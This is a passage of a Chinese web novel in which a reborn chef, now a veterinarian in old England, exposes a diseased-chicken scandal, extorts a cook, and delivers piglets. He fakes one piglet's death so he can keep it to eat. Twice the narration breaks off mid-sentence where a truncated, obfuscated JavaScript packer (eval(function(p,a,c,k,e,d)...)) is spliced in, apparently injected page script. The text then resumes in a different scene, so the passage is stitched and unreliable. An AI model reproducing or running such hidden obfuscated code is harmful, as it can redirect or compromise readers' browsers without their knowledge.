大家都会一窝蜂去新人那里的。 不过这和他有什么关系呢？ 林维伦拎起手提箱，想要和费里先生说离开这。 然而他突然瞧见伦丁圆圆的脑袋蓦然转向他，眼睛里冒出大大惊喜。 “您刚刚看出了鸡的问题！您一定行的！”胖厨师像想到什么似的，猛冲冲过来抓住林维伦两条胳膊，“能不能….能不能拜托您帮我挑一只健康的鸡？我会付您报酬的！1先令….哦不不不！5先令怎么样！如果您不帮我，我就完蛋了！” 老费里是个善良的人，伦丁很了解，那么能被他认可加入诊所的，也一定错不了！ 况且这家伙也只是个年纪轻轻的青年人，这个年纪的小伙子最好忽悠，随便卖个惨就能让他们自告奋勇奔赴战场。 厨师不敢指使头发花白的老年人，只敢瞄准维伦·林格特。 然而他却发现眼前的年轻人忽然笑了，不是那种和善的笑，而是….而是…仿佛他自己看见兔子撞进自己怀里时会露出的笑容。 “真是不好意思，先生，”林维伦弯了弯嘴角，缓缓摇头，“我晚上还有事，恐怕无法帮您这个忙。” 7. 第 7 章 伦丁急了，上去抓住年轻助手的胳膊，乞求道，“别、别这样，林格特先生，您就帮我这个忙吧！我一定会好好感谢您的！请相信我！” 林维伦任由胖厨师那么拽着，眨巴眨巴眼睛，无辜地望向老人。 费里却似乎无意与他们纠缠，拎起手提箱摆摆手，“你自己处理吧，我先走了，今晚阿尔玛可是要做肉馅派呢，回去晚了可是会凉的。” 直至老人地身影彻底消失在门外，林维伦的表情才慢慢变了。 “如果这是您的意愿，”他垂下眼，居高临下看向小媳妇似的抓着自己的胖厨师，“那么，5英镑，谢谢。” “5磅？！”伦丁因为愕然声音都走调了，“你也太黑了吧！5磅够我买多少只鸡了！” 林维伦微笑，“先生，我没有义务。” 一句话，胖厨师瞬间哑了火。 他立刻甩开年轻人的袖子，心底急速盘算起来，“你就不怕我告诉费里先生？他能容忍你私自敲诈客户么？” “那是您的事了，”林维伦无所谓地耸耸肩，“但帮您挑选鸡肉不是我的工作，不是吗？况且…您真的是一星期前才意识到鸡肉有问题的么？” “您别忘了，”他笑的有些危险，“我是兽医，判断饲料什么时候出了问题，可是基本工作。” 这个小鬼！ 伦丁震惊了，威胁人竟然如此熟练！老费里怎么会招这样一个黑心的家伙，简直毫无良善可言！ 更可气的是，5英镑对于胖厨师来说，实在算不上一个很贵的数字，同样也不是一个值得记恨的数字。 他完全有能力支付，可要是给了，总有种刚做好的香草煎鸡被蟑螂爬过的感觉。 不过林维伦不疾不徐添了一把大火，“既然您无意，那么还请允许我说一声‘再见’，诊所还有事要忙。” 话音刚落，人转身就走。 这次伦丁真的害怕了，他顾不上纠结，连忙拽住年轻人的胳膊，哭丧着脸，“5磅就5磅！我给，我给还不行么！但你必须要保证鸡是绝对健康的！“ 如果将来被伯爵知道他吃的鸡有问题，那伦丁绝对会被丢进监狱的！绝对！ 但如果鸡是这个年轻兽医购买的，那责任就不在自己身上了！ 5英镑买一份风险转嫁，非常合适。 脚步停止，年轻的助手转过头，露出一种“真是拿你没办法”的微笑，“上帝保佑您的慷慨。” 胖厨师咬牙从钱夹里掏出5英镑付了过去。 只是临走前，那个年轻人忽然停住，转身深深看了他一眼。 “先生，”伦丁听见他说，“与其纠结这5英镑，您不如抓紧想想，这消息传出去后又该怎么办？您至少应该掌握主动权，不是吗？” 伦丁快被他烦死了，“那我就把这笔帐算在你们头上！我才是受害者，我的的酒馆如果出…..” 突然，他想到了什么，讶然闭上嘴巴。 是啊，这件事，根本和费里诊所无关，主动权….反正也瞒不住了，他的确应该掌握主动权。 傍晚的集市人很多，林维伦目标明确，直接在禽类的摊位上上手开摸。 原本热情的老板笑容逐渐僵硬，上次那个变态是不是也是这家伙来着？ 花了一点时间，林维伦才把健康的鸡肉带回去。 胖厨师连客气一句都没有，狠狠剜了他一眼后立刻匆匆跑向后厨。 林维伦也不在意，赚了一笔外快，他心情愉悦地回了家。 刚刚他去集市的时候，没忘记给自己的小出租屋也添置了一波。 感谢慷慨的伦丁先生，这下不仅厨房满满登登，连他自己也终于摆脱了硌脚的皮鞋和只有两套换洗衣物的窘境。 不过林维伦也并没有报复性消费，在集市街角，有一家二手服装店。里面的衣服全部来自于捐赠或低价收购，或许是富人破产，或许是年轻已死，每一件陈列的大衣、西装、皮鞋都带着尘封和困窘的味道。 但价格足够低廉。 甚至有一部分是体面的私人剪裁和大牌制作，不过现在的他仍然买不起就是了。 林维伦在这里淘到了一双软皮鞋，一双雨靴，两套夏季薄衬衫，一条没有破洞的西装裤，外加一打短内裤和一打薄袜子。 接着他又把那双快把脚割裂的皮鞋、袖口全磨破的衬衫、大腿内侧漏洞的西装裤全卖给了二手店老板。 一买一卖，总支出1磅13先令。 小屋的柜子终于派上了用场，而不是空的能随时cos棺材。 林维伦很满意。 为了犒劳自己，他决定晚上吃点好的。 出租屋靠近窗子的地板下，有一个小小的冷藏窖，坑坑洼洼的，只有三平米左右，看起来像是曾经居住的仆人偷偷挖出来的。 现在，这里全是林维伦的“财产”了。 他从地窖里取出几个鸡蛋杏仁，和面粉、融化的热黄油按比例调配，再加入刚买回来的羊奶和一点点糖，在平底锅上慢慢烘烤。 低温将小饼的表面烘成了焦糖色，奶酪的甜和黄油的馥郁气息交相辉映，像升起时巨大奶味泡泡，又向层层叠叠的奶味海浪，其中还夹杂着让人难以忽视的、独属于坚果特有的香气。 如果有芝麻就更好了，但没有也没关系。 林维伦对于美味，总是有很高的容忍度。 至于配菜，他还是选了便宜可口的鲈鱼。 没办法，他用腿能到达的集市已经被进口肉彻底侵占了，那些漂洋过海来的牲畜似乎有更低的屠宰门槛。 不仅肉质很差，连最基本的健康也无法保证。林维伦从肉摊上摸过时，文字给出了五花八门的疾病说明。 包括但不限于【一块阴/毛脓肿牛的牛肉】、【一块痢疾羔羊的肉】、【一块真菌感染猪的猪后腿】等等。 谁能吃的下去？ 反倒是海里的生物更加可爱，只是这次烹饪方式简单了很多，用鲜嫩的脆欧芹一起清炒，调味仅仅用了盐、葱煎和剩的干白葡萄酒，最大程度保留了鲈鱼的清甜与鲜嫩。 再加上欧芹的爽脆，整道菜像刚从海上端出来一样。 夏季晚风柔和地穿过家家户户，老费里端着盘子站在窗户前，狠狠吸了一大口。 “这小子今晚又吃什么好吃的了？” “我闻到了大海和坚果的味道。”阿尔玛太太陶醉地闭上眼，咬了一口手中盘子里的肉馅派。原本她很喜欢的派，在微风送来的气息面前，却显得油腻了很多。 明天也去买点坚果吧，板栗怎么样？ 阿尔玛和窗外一群拼命嗅着空气的男孩对上视线，尴尬转头，食不知味地咽下肉馅。 ……不知道送给林格特一袋板栗，那孩子还会不会回赠新的“感谢”？ 上帝啊，她真的快馋死了。 风将味道送到了更远的地方。 刚刚驱车驶出的伦丁忍不住踩下刹车，将头伸出窗外，猛吸了一大口。 这是…..鱼？ 如何烹饪鱼能出现这样的气味？ 他疑惑伸长脖子望着小巷里，他记得上次也是从这边传出辛辣却无比香浓的味道。 究竟是谁？这条街上没几个做菜做的好吃的啊。 可还没等胖厨师继续深想下去，后面传来行人的催促声。 他不得不的重新启动小轿车，打起精神应对晚上。 然而伦丁却过的没那么顺利。 菲利普伯爵的庄园坐落在德纳姆镇东部，茂盛盎然的庭院里伫立着一棵巨大的玉兰树，蔷薇、天竺葵、银莲花在树下恣意招摇。 葡萄园和果园分立两侧，随着风的到来，将整片如地毯般厚重柔软的草地熏成令人陶醉无比的香甜气息。 而在庭院最中央的别墅则更加精致典雅，维多利亚时期留下的天使雕刻从砖墙上各个角落浮出，衬得整座建筑宛若十八世纪的淑女，正被一群慵懒的仆人簇拥着。 每次来到这里，伦丁都要连续做好几个深呼吸才能稳步前行，更何况今天才刚刚出过事。 这让他略有些战战兢兢，连手下的动作也没那么流畅。 “伦丁，”菲利普伯爵坐在长桌主位，脖子上的丝绸领巾上还扣着金色环扣，他坐在躺椅里，合上书，“你今天迟到了，出了什么事么？” “不，没有，抱歉，我是说抱歉先生，我很好，我已经准备了很久，一定能让您满意。”伦丁擦了擦汗，将带来的东西一股脑搬进厨房。仆人曾提出要帮他，统统被他拒绝。 厨房里溢出来的热量再次让伦丁汗如雨下，他闻到了煨炖汤锅的浮末味，羊肉脂肪味，以及切碎的迷迭香的木质调香。 他还看见厨房里的食物比上次见到的还要多：几篮子野生蘑菇，青绿的苹果和橙黄的梨在一旁堆成小山，金属浴缸中有两只粉红色的螃蟹，一块块新搅拌的黄油像蒲公英花一样明亮，几大块浅黄色的奶酪轮足有成年人的头那么大。 银制的调料盖扣在玻璃方盒上，一整柜的各式香料在地上投射下长长的阴影。 伦丁知道，厨房里的这些全都来自庄园里真正的主厨——伯爵先生的艺术。 菲利普是个极其热爱美食的人，他厨房里虽然有固定的主厨，可他仍然喜欢将那些声名在外的厨师请到自己的庄园里，现场为他烹饪。 如果厨师让他惊喜，他还会不遗余力宣传给自己的朋友。 慷慨的贵族会迅速打开厨师的名声，曾有一个德纳姆镇出身的家伙就因此而被伦敦的大饭店看中，这同样也是伦丁最深处的梦想。 我可不能搞砸，胖厨师不停这样想着，想着。 然后他就搞砸了。 再倒胡椒粉时，他因为心情过于紧张而手抖，呛鼻的胡椒味立刻覆盖了大部分香气。 伦丁脸色白的像鬼，只能手忙脚乱用黄油和熬制鸡汤中和。 可伯爵仍旧吃出来了。 吃下第一口，菲利普就用餐巾擦了擦嘴角，并用白兰地漱了漱口。 “或许我应该和厨房的人说一声，”他轻轻叹气，袖口上的钻石钮钉闪闪发光，映照出胖厨师惨白的脸，“下次庄园不需要购买如此大量的胡椒。” 伦丁眼前一黑，浑身忍不住抽搐。他意识到完了，一切都完了！ 窘迫与悔意几乎要将他淹没。 在被仆人送出庄园时，胖厨师果然没有接到下一次的邀请时间，尽管他赔笑着不断询问，可仆人只是礼貌微笑。 这让他的脚步更加沉重。 他的伦敦梦！该死的！ 必须有人要为此负责任……阴凉的月光里，伦丁狠狠抓了抓自己的头发，必须！ — 第二天，费里带着林维伦出外诊，为一只怀孕的母猪做检查。 那头猪名字叫“小水仙”，是一头重达500磅（约450斤）的黑白双花色猪，臀部长着卷卷的毛。 因为 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它被搓洗的干干净净，身上连一丝异味也没有，白白的短腿仿佛奶泡过，双眼清澈明亮。 这种只喂蔬菜水果不喂添加剂饲料的猪肉，就算不加任何调料，都能品尝到一股纯正的奶香。 在后世，这样的猪肉甚至不会公开售卖，只会特供给特殊人群。 可此刻，这位主人甚至担心能否将猪肉卖出去。 林维伦喉结滚动，从胃部传来一股火热的渴望。 他保证没有任何一个被添加剂填满的现代人能止住想尝一口的想法。 那该是怎样无与伦比的美味？ 可惜他们只是来看看。 林维伦费了很大努力才将目光从小水仙身上撕下来，和老费里坐进车里。 “今晚我要离开一趟，”老人突然说，“一点私事，大概明天中午会赶回来，阿尔玛没有留下太多预定。” 林维伦转头看见老人笑了笑，“你已经拿到初级资格证好几天了，是时候独立接诊了。不过今晚你得住在诊所，以防晚上有夜诊。” 年轻人虽然也笑，显得惊喜激动，可那情绪并没有到达眼底。 他更深处一片空虚，因为他馋的牛肉，馋的小花猪，全都一口没吃上。 不过没关系，他已经在不断练习中察觉到了兽医的可能性，这或许是比“厨师”便利的职业——对于如何“处理”动物来说。 他只是需要一点时间。 也可能还需要一点巧合的机会。 两人没有直接回诊所，途中费里先生特意绕了点远路，带着人去了一趟利得谷，斯图尔特家的养鸡场就在那里。 虽然兽医不该插手另一个兽医的生意，可费里仍然没办法坐视不理。他认为自己有必要亲自上门，警告一下胆大妄为的农户。 可让人没想到的是，斯图尔特的养鸡场被围了个水泄不通。 胖胖的伦丁冲在最前头，拎着他杀死的所有病鸡，和召集来的每一个摊贩老板堵在斯图尔特面前，大吼着，“你必须给我们一个说法！赔偿！你这混蛋！如果消息传出去，每一个吃过病鸡的德纳姆人都会来找我们的麻烦！” “没错！你必须给我们赔偿！”摊贩老板们振振有词，跟着伦丁冲锋陷阵。 他们是昨晚被找上的，当时胖厨师只说了一句话。 “费里已经知道了，他新聘用的助手都能看得出来。所以在消息传出去之前，我们得先下手为强，否则出了什么事，你们就自己担着吧！” 斯图尔特被气的脸红脖子粗，“你们是不是疯了？！我难道没有给你们低价么？！你们敢说自己从头到尾都不知道事实么！你们这段时间多赚了多少钱？！你们敢说出来么！” “我们他妈的当然不知道！”有人高喊，“如果不是费里诊所，我们怎么可能会发现！” 哦不，他们当然知道。 常年和鸡肉打交道的家伙，怎么可能一点察觉都没有呢？ 可斯图尔特默契地降低了售价，他们从中赚取的利润足以弥补那一点良知。 反正吃了也死不了，不是吗？ 但被发现了，就是另一回事了。消息传出去，他们才是会直面顾客怒火的那一环，想要摆脱无穷无尽的麻烦事，当然要先出击才对。 况且，他们也是受害人呐！ 每个老板眼底都闪烁着精明的光。 隐秘的交易可没有证据，斯图尔特拿这些人根本没有办法。 可他也不是吃素的！他在这个地方开了快十年的养鸡场！这些狡猾的家伙想把责任全部推给他？门儿都没有！ 新一轮争吵彻底爆发，斯图尔特的妻子在丈夫的示意下立即跑出去打算联络农业部。 “你他妈疯了？！”伦丁满脸不敢置信，“农业部来了，你将会面临巨额罚款！” “我他妈才不会自己面临！”斯图尔特双眼通红，“是你们和我一起！农业部会请专业人士过来检查前因后果！” 他在“专业人士”四个字上咬死重音，用力推开快揍上他的小摊贩，“你们猜猜会是谁！” 大家先后反应过来，表情瞬间变的惊恐。 立刻有人跑过去想要拦住斯图尔特的妻子，场面变得更加混乱。 林维伦双手插兜站在车外，灰蓝色的眼睛里平静而漠然。 狗咬狗。 谁都跑不了。 8. 第 8 章 虽然最后斯图尔特的妻子被拦住了，可农业部还是知道了这件事。 ——从民众的举报信里。 斯图尔特家的混乱闹的非常大，连兽医安德烈都加入了战场。 他们没有注意到被惊扰路过的邻居们，有人担心出事，拨打了警署电话，顺便悄悄靠近，听听究竟出了什么事。 然后，这事儿便像炮弹爆炸一般迅速传开了。 农业部和警署前后抵达，所有闹事的人被带回了警署。而农业部则留下了人看守现场，另一拨人回了德纳姆镇，寻找能帮助他们捋清整件事的人。 “原来是这样，”老费里一边点头一边套上西装外套，“我的确很愿意承接这个工作，可是抱歉，我定了一小时之后的火车，或许林格特可以帮助你们。” 说完，他推了身边的小伙子一下，“维纶·林格特，你们应该还记得这个名字，上次费迪南德家得了脑病虫的牛就是他发现的。当然，这次同样也是他。” 费里先生和农业部的人简短讲解了一下昨天在酒馆发生的事。 不过他没有全说，只是提出“林格特发现了那些鸡的异样，可斯图尔特家拥有自己的私人兽医，所以我们并没有越界调查。” 这是将所有功劳与荣光都给了旁边的年轻人，还顺便帮他剔除了所有麻烦。 农业部的人听完，双眼里的情绪果然从怀疑变为惊喜。 “原来是你，维纶·林格特！我记得你！”那人的头发用头油全部梳到后面，穿着黑色西装，扣子全部扣的紧紧，连深蓝色的领带都没有歪一分一毫，看起来干练又古板。 他和林维伦握手，“上次的脑包虫牛事件让人印象深刻，你救了不少人！那么，这次就还请你帮忙了。不用担心，农业部会以‘外聘‘的价格支付你的报酬。” 林维伦先向费里先生微微弯腰鞠躬，随后才回握住黑西装的手，微笑，“荣幸至极。” 农业部带着人来到了斯图尔特家的农场。 两名工人瑟瑟发抖，脸白得像刚从坟墓里爬出来。 他们看着一位年轻的陌生兽医走进来，那股颤栗瞬间转为疑惑。 “居然不是费里先生？” “这就是那个费里家新来的兽医？这么年轻，恐怕刚从大学毕业没多久吧？能看出来什么？” 两人对视一眼，同时从对方眼底看见了惊喜。 上帝保佑！他们恐怕可以去逃脱制裁了！ 然而几分钟过后，年轻人就打碎了他们美好的期望。 “这边是患病的鸡，那边是正常的鸡。”林维伦擦干净手，“他们的饲料出了问题，作为营养补充的鱼骨和内脏都已经腐烂发霉了。” 这些饲料都是钱，所以在发现后，斯图尔特没有选择扔掉饲料，而是直接喂给了鸡，这也是导致痛风和脂肪肝的主要原因。 当然，发现的时候，饲料已经基本全部喂光了。新购买的一批还在路上。如果事情没有恰好爆出，恐怕永远不会有人知道自己曾经吃掉了多少只病鸡。 工人们看着他仿佛看一只恶鬼，惊恐又绝望。 原以为是个扶不上墙的小屁孩，谁知道居然比老费里更快更准确！ 事实摆在眼前，在隐瞒也没有任何用处。 于是两名工人哆嗦着将事情全部交代了，和林维伦说的完全相同。 “我们老板也是真的没有办法，普通饲料的价格实在….实在太贵了….”其中一个工人颤颤巍巍地说，“加拿大的进口鸡肉价格都低至3便士/磅了，比我们低了快一倍….如果不是主动降低这批病鸡的售价，从源头降低成本….恐怕用不了多久，我们的鸡肉就会没有小摊贩愿意买了….会直接破产的…” 林维伦的动作顿了顿，扭头深深看了工人一眼。 只是农业部根本不在意工人的狡辩，他们看着林维伦的眼神，又从惊喜变成了钦佩。 这家伙，真的很不简单。 斯图尔特家的病鸡都被装车带走了，还封掉了整座养鸡场。农业部会依照病鸡的数量开具罚款，并且对斯图尔特提起诉讼。 这位胆大包天的养鸡户，不仅要上交罚款，还将面临监禁。 这其中当然包括为其签具“屠宰健康证明”的安德烈兽医，只是农业部的人并没有明说安德烈会受到怎样的惩罚。 不过，这事还没完，他们又驱车来到了德纳姆镇上的集市。 被逮进警署，摊贩老板们留下的家人根本没能力独自处理掉所有证据。 农业部将他们抓了个正着。 没有人敢在一位技术高超的兽医面前否认不知情的事实，于是事情的处理超乎寻常的顺利。 所有涉事摊贩都将面临赔款，以及长达15天的封禁整改。 这样的热闹不常有，集市里里外外围满了人。 所有人都对此愤愤不平，怒火中烧。 “难以想象这些黑心的魔鬼怎么能做出这种事来？！我都不知道我吃下去多少恶心的鸡肉！” “我就说我这段时间为什么一直头晕心慌，噢我的上帝！医院…..我得去医院….！赔我医药费这些混蛋！” “他们一定会下地狱的，肮脏的狗东西！赔钱！” “为什么没有检查？为什么农业部会允许这样的东西摆上集市？你们该为此负责！” “如果连肉的质量都无法保障，我们以后又该怎么办？！” 农业部有专业人士处理类似情况，那些人云淡风轻，两手一摊，“别这样，我们也是很忙的好吗？女士，希望您能明白，我们不可能监管到每一寸，我们已经尽力了，真的。” 一辆昂贵的宾利车停在集市不远处，车窗打开，菲利普伯爵深褐色的瞳孔注视着沸腾的闹剧。 …..他昨晚才刚刚吃下几块香草煎鸡。 “靠近一些，去看看细节。”伯爵吩咐车后的仆人，仆人立刻侧面埋入人群。 “而且我们也及早发现了这一事实，”那个黑西装向人们脱帽敬礼，“农业部费尽心力请来了真正的专业人士，请相信我们一定能尽快剔除掉所有患病鸡肉，及早还给大家一个安全的用餐环境。” 他故意后退几步，让出了身后的人。 “哦我的天，一个帅哥！”有围观女孩忍不住叫道，“他也是农业部的？” “才不是，”面包房的老板娘挤开人群，笑容满面，“他是费里诊所新聘用的兽医，毕业于皇家兽医学院，是个顶好的孩子。” “费里诊所”在德纳姆镇拥有不低的威望，人们对于费里的严谨和负责深有感触。 这个名字让他们对眼前年轻的面孔多了一分信任，但也仅仅是“一分”而已。 “他有点太年轻了，真的能行？不是农业部随便搪塞来的人吧？” “安德烈才刚刚被逮住，谁知道他是不是和安德烈一样黑心？” “我不再信任兽医了，真的，他们都是一群见钱眼开的家伙！” “为什么不是老费里亲自来？打发一个刚毕业的孩子，费里诊所也开始学着推卸责任了么？” “林格特先生的专业技能毋庸置疑。”黑西装笑容真诚，“而且这次的病鸡灾难，全是因为他才被揭露出来呢！他是第一个发现者，是他帮助我们免于这群黑心商饭的毒害，请大家一定要相信他。” 人群的目光落到年轻人身上，感激的，惊讶的，探究的，怀疑的，幸灾乐祸的。 当然，还有一些不太一样的。 少女们聚在一起叽叽喳喳，“天呐，看他的眼睛，璀璨如午后天空。” “我从未见过如此英俊的男人，他还是从伦敦来的！” “虽然他穿的有点旧，可他看起来这不是一个体面的绅士！” 讨论声逐渐歪掉，林维伦没有任何回应，甚至没有抬头，他只是迅速妥帖地完成了任务。 “干的真不错。”农业部的黑西装两手拄腰，看着手表的时钟不敢相信，“我们仅仅花费了不到半小时，就将所有患病的鸡肉搜罗起来了。老实说，我真的很佩服你的眼力…..就像，就像你看一眼，就可以知道这些鸡肉是不是健康的一样。” 林维伦假装没听出他话里的怀疑，彬彬有礼，“天气炎热，早点结束也可以早点休息。您和您的人应该都很累了？这些鸡肉，您可以送到检验室去，那边会完成最后的检查工作。” 黑西装凝视着他，随后笑着点了点头，“你真的很不错，林格特先生，真的。希望下次还能有机会和你一起工作，德纳姆镇有你这样优秀的兽医是人们的幸运。那么，感谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话刚说完，警长便掩饰般收起了桌上另一个人的私人物品。 安德烈躲在拐角后翻了个巨大白眼，这帮贪婪的水蛭，一边从他身上榨出高昂罚款，还要额外多收一份保释金！ 那个克莱德什么狗屁的副部长，表面正人君子，背地里比房东还要贪婪！ 他的大半生积蓄全都折在了这里！ 闹剧没有因为农业部的离开而降低热度，相反，随着越来越多的人知道了，整件事仿佛火山爆发。 德纳姆镇的大街小巷里，随处都能听见人们的咒骂声，对无良商人，对不负责的农业部，最终落实到的，还是政府对农业的忽视。 “如果不是政府一点不给农业支持了，还大肆从其他国家购买廉价肉，那些人又怎么会因为一点小利益就铤而走险呢？” “我们连补贴都快没有了！假如我的农场饲料也出了问题，我一样不知道该怎么办！政府就是想让自己的农户都罢工！” “那我们就活该承受一切？”有人不满反驳，“我们只是想吃一点健康放心的肉，我们又有什么错？” “而且我们还付钱了！又不是白吃你们的东西！” 林维伦抱起装着面包的纸袋，和他买的新鲜土豆分开抱着。 今晚他要住到诊所去，阿尔玛太太帮他洗了脏衣服，还给了他买食材的钱，所以他打算做点吃的作为回报。 走出集市前，林维伦买了些野生牛肝菌和蘑菇，这些混合在一起，将变成无与伦比的鲜味炸弹。 至于主菜，阿尔玛太太说家里还有剩余的小牛肉，就做浓汁牛肉卷吧，用丁香果、小茴香和新鲜姜根做调味。 这是他的拿手菜，曾经他用这道菜摘了颗星星。 管家太太对此无比期待，她甚至拿出了珍藏的雪利酒。上次打开，还是老费里儿子结婚的时候。 不过今天注定是个事多之日，当林维纶刚刚点燃炉灶时，诊所的电话忽然疯响起来。 阿尔玛接起，就听见对面撕心裂肺地咆哮，“救救我！我的小水仙出事了！它被一只袋狼吓到早产了！！” 9. 第 9 章 “情况不太好，昆先生。”林维伦望着半空中的文字说，“小….那个水仙的骨盆太窄了，又受到惊吓，第一只幼崽卡在门口，我必须手动。” 他挽起衬衫袖子，“这可是个大活儿。” 昆几乎崩溃，抱着头尖叫，“我会付钱的！只要你能把它们安全生出来！好了，现在告诉我我要准备些什么？热水or肥皂？！老天，为什么不是费里先生在这！” “都要，”林维伦活动了一下胳膊，露出一个微笑，“请相信我，我也无比希望能是费里先生来。” 他的浓汁牛肉卷还在锅里等他，他的肚子早已发出抗议。 昆的孩子们跑来跑去，很快就带来了所需要的东西。 跛脚的农户拄着拐杖，向地主似的指挥着。 花母猪快被痛死了，四条腿直挺挺抻着，血和羊水流了满地，弄脏了林维伦的裤脚。 这可是他刚买的、唯一一条好裤子。 他扫了一眼，干脆直接脱掉衬衫，用热水洗干净手臂，然后涂满肥皂，将整只手伸了进去。 宫/缩让产/道变成了时不时向内挤压的搅碎机，林维伦只觉得整条胳膊都要被夹断了。（谢谢审核员，这里只是兽医在给母猪接生，不是任何其他东西，非常感谢。） 他眉头深深拧起，一点点将手指探进更深处。 “虽然我很喜欢雌性的缩夹，但不是这种。小水仙…..拜托….” 昆死死瞪着年轻人，就像瞪着要把他的女儿大半夜拐走的臭流氓。 “如果我的小水仙出了…..” “找到你了。”随着半空中浮现的新文字，林维伦身体一松，打断了跛脚农户的警告。 【一只体型过大被妈妈夹住的猪崽】 …..谢谢说明，可真够详细的。 不过金手指证明了猪崽的健康，体型过大是最好处理的情况了。 林维伦忽略鼻尖浓重的腥味和手上滑腻腻的触感，艰难摸到了猪崽的后蹄。 这是最坚硬的部位，也是最好拽的部位。 他一只手撑住水仙的屁股，另一只埋进去的手死命向外拉。 黑花母猪发出惨烈的嘶吼，后腿绷得老直，眼白外翻，下腹狠狠一缩！ “噗呲！” 第一只小猪被粘液包裹着从产道里滑了出来！ 昆差点跪下去，手忙脚乱帮忙清理猪崽鼻子嘴巴里的粘液。 听见哼唧哼唧找奶的声音后，他喜笑颜开，英镑！他的英镑活了！ 还没完。 水仙的盆骨彻底被撑开，得益于哥哥的巨大，后面几只猪崽生的顺顺利利。 然而第五只却体位不对，明明是后腿在外，可林维伦却摸到了猪鼻子。 猪鼻子太滑了，他根本攥不住。只得暂时退出来，捏着掏猪绳再次探进去，费了无数力气将绳子套在猪崽的鼻子上，再卡住猪崽的两颗虎牙，然后让昆使劲拉绳，他则不断调整猪崽的位置。 羊水几乎把年轻兽医的裤子淹没。 不过他成功拯救了第五只。 欢庆的气氛充盈着整间猪舍，昆丧气的脸也变的红光满面。 “你真是太棒了！林格特先生！你就像年轻时候的老费里！” 他的小女儿来来回回，给每只猪崽都印上不同颜色的彩粉，然后又很快被妈妈舔掉。 “您真该给小水仙颁一个最伟大妈妈的奖牌，”第十一只猪崽生出来后，时间已经来到深夜。林维伦累的气喘吁吁，连腿都在发抖。 他只有在第一次独自屠宰一头野生雄鹿时才这样累过，那时候他在匈牙利的狩猎场，可现在是一百多年以前。 而且他还没吃晚饭。 太饿了。 浓汁牛肉卷已经无法满足今晚了，胃部叫嚣着想要更深刻的东西填满。 林维伦眯着眼睛，再次探了进去。 他摸到了第十二只。 【一只心脏衰竭的猪崽】 年轻兽医微微一愣，紧接着灰蓝色的眼底霎时冒出绿光。 心脏衰竭的猪崽活不过2-3周，供血不足会让它们行动缓慢，可却并不会影响肉质！ 被蔬菜水果好好喂养的母猪——以及柔弱的、娇嫩的新生猪崽。 林维伦控制不住磨了磨牙，胃在饥饿中欢唱。 这一瞬间，他有了一个大胆的想法——某些东西即将填补他今夜的一切疲累，以及空虚。 昆观察着他的表情，紧张兮兮，“怎么了？出什么事了？下一个英镑….不是，下一只还好吗？” “它很虚弱，”林维伦面不改色扯谎，“我摸不到它在动，您最好最好心理准备。” 昆的心脏微微提起，但前十一只就在他手边嘬奶，啵唧啵唧的声音实在难以让他感到什么悲伤。 “只是一只而已，今晚我们已经非常幸运了。”昆拍了拍林维伦的肩膀，宽慰道，“林格特，你不必紧张，放手去做就好，我无比相信你。” 于是林维伦就做了，他装模作样费了一点力气，最终将猪崽“不太顺利”得从空荡的子宫内拯救出来。 “这是最后一只了。”热水清洗干净手臂，林维伦望着虚弱摇晃无法站立的猪崽，表情沉痛，“可….真是抱歉，先生，它在里面憋的时间太长了，恐怕已经救不活了。” 我的英镑…..昆摇了摇头，“这只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它和妈妈不一样，它身上一点黑色也没有，白的发光，像涂满乳汁。 等等，涂满乳汁这个主意真得很不错，一定能让肉的味道更上一层楼，还能加深弹性，到时候可以尝试一下。 看着笼子里的猪崽，林维伦想了想，又拿了一条小手绢轻轻盖住，用更多稻草压好，以防夜里的凉风冻到它。 作为年轻兽医目前最看重的客户，当然配得上最好的照顾。 ——以迎接不远的将来。 10. 第 10 章 隔天，林维伦醒来后的第一件事，就是去看猪崽。 阿尔玛举着记录本，照例为其他动物做记录。 “噢，它可真可爱，是不是？”太太快被新生猪崽萌晕，“瞧瞧它仰头喝奶的样子，比精灵还要可爱。这是昆家的？昨晚他的小水仙还好吗？” “生了十一只，都很健康。”林维伦用拇指轻轻擦掉猪崽嘴角的奶液，白白的液体流淌进皮肤纹路里，鼻尖被奶香灌满。 他缓缓嗅了嗅，微笑，“这是最后一只，如您所见，它不像哥哥姐姐们一样。” “可怜的小家伙，一定会好起来的。”阿尔玛心软的一塌糊涂，隔着笼子逗弄着，“别担心，要不了多久你就可以回家啦。” 回家。 确实如此，回到起始之前。 早餐是甜无花果和栗子面包，配菜是菠菜芝士肉馅丸子。 阿尔玛太太展示了餐厅的烤炉，林维伦用碎栗子、黑芝麻、鸡蛋、牛奶和面粉混合成了长长的条状，再经过高温烘烤成让人沉醉的芳香。 阿尔玛甚至不在意手指差点被烫伤，当面包房出炉时，她就迫不及待撕下一小块，来回吹着然后一把塞进嘴里。 刹那之间，她就被浓浓的幸福包围了。甜而不腻、不带杂志的栗子香通过她的鼻子向上蔓延，让她头晕目眩，仿佛一脚跨进了栗子天堂，被柔软的云朵笼罩托举。 “您尝尝这个。”林维伦刚好将芝士肉馅丸子装盘。 他手法精彩极了，每颗丸子都像机器压出的一样完美。 芝士和菠菜勾勒出森林的颜色，肉馅带来了热气在林中蒸腾。 阿尔玛屏住呼吸，用叉子轻轻碾下一小块，融化的芝士登时汨汨流出，仿佛金色泉眼。 谁能拒绝呢？没有人。 当丸子被唇齿磨碎的时候，肉馅的汁水混合着芝士在口腔中沸腾翻滚，青菜带来了田园才有的清爽，让每一寸味道都恰到好处，不会太腻，更不会让舌头感到负担。 慢慢咀嚼着，让汁液不断冲刷喉腔，阿尔玛感觉整个世界都消失了，只剩下她的嘴，感受着海浪般一层一层袭来的繁复口感。 “你真的应该做一名厨师，”管家失去了舌头的掌控权，她完全拜倒在一桌早餐上了，“做兽医简直是暴殄天物！我敢打赌，菲利普伯爵一定愿意为此付出一车的英镑！” 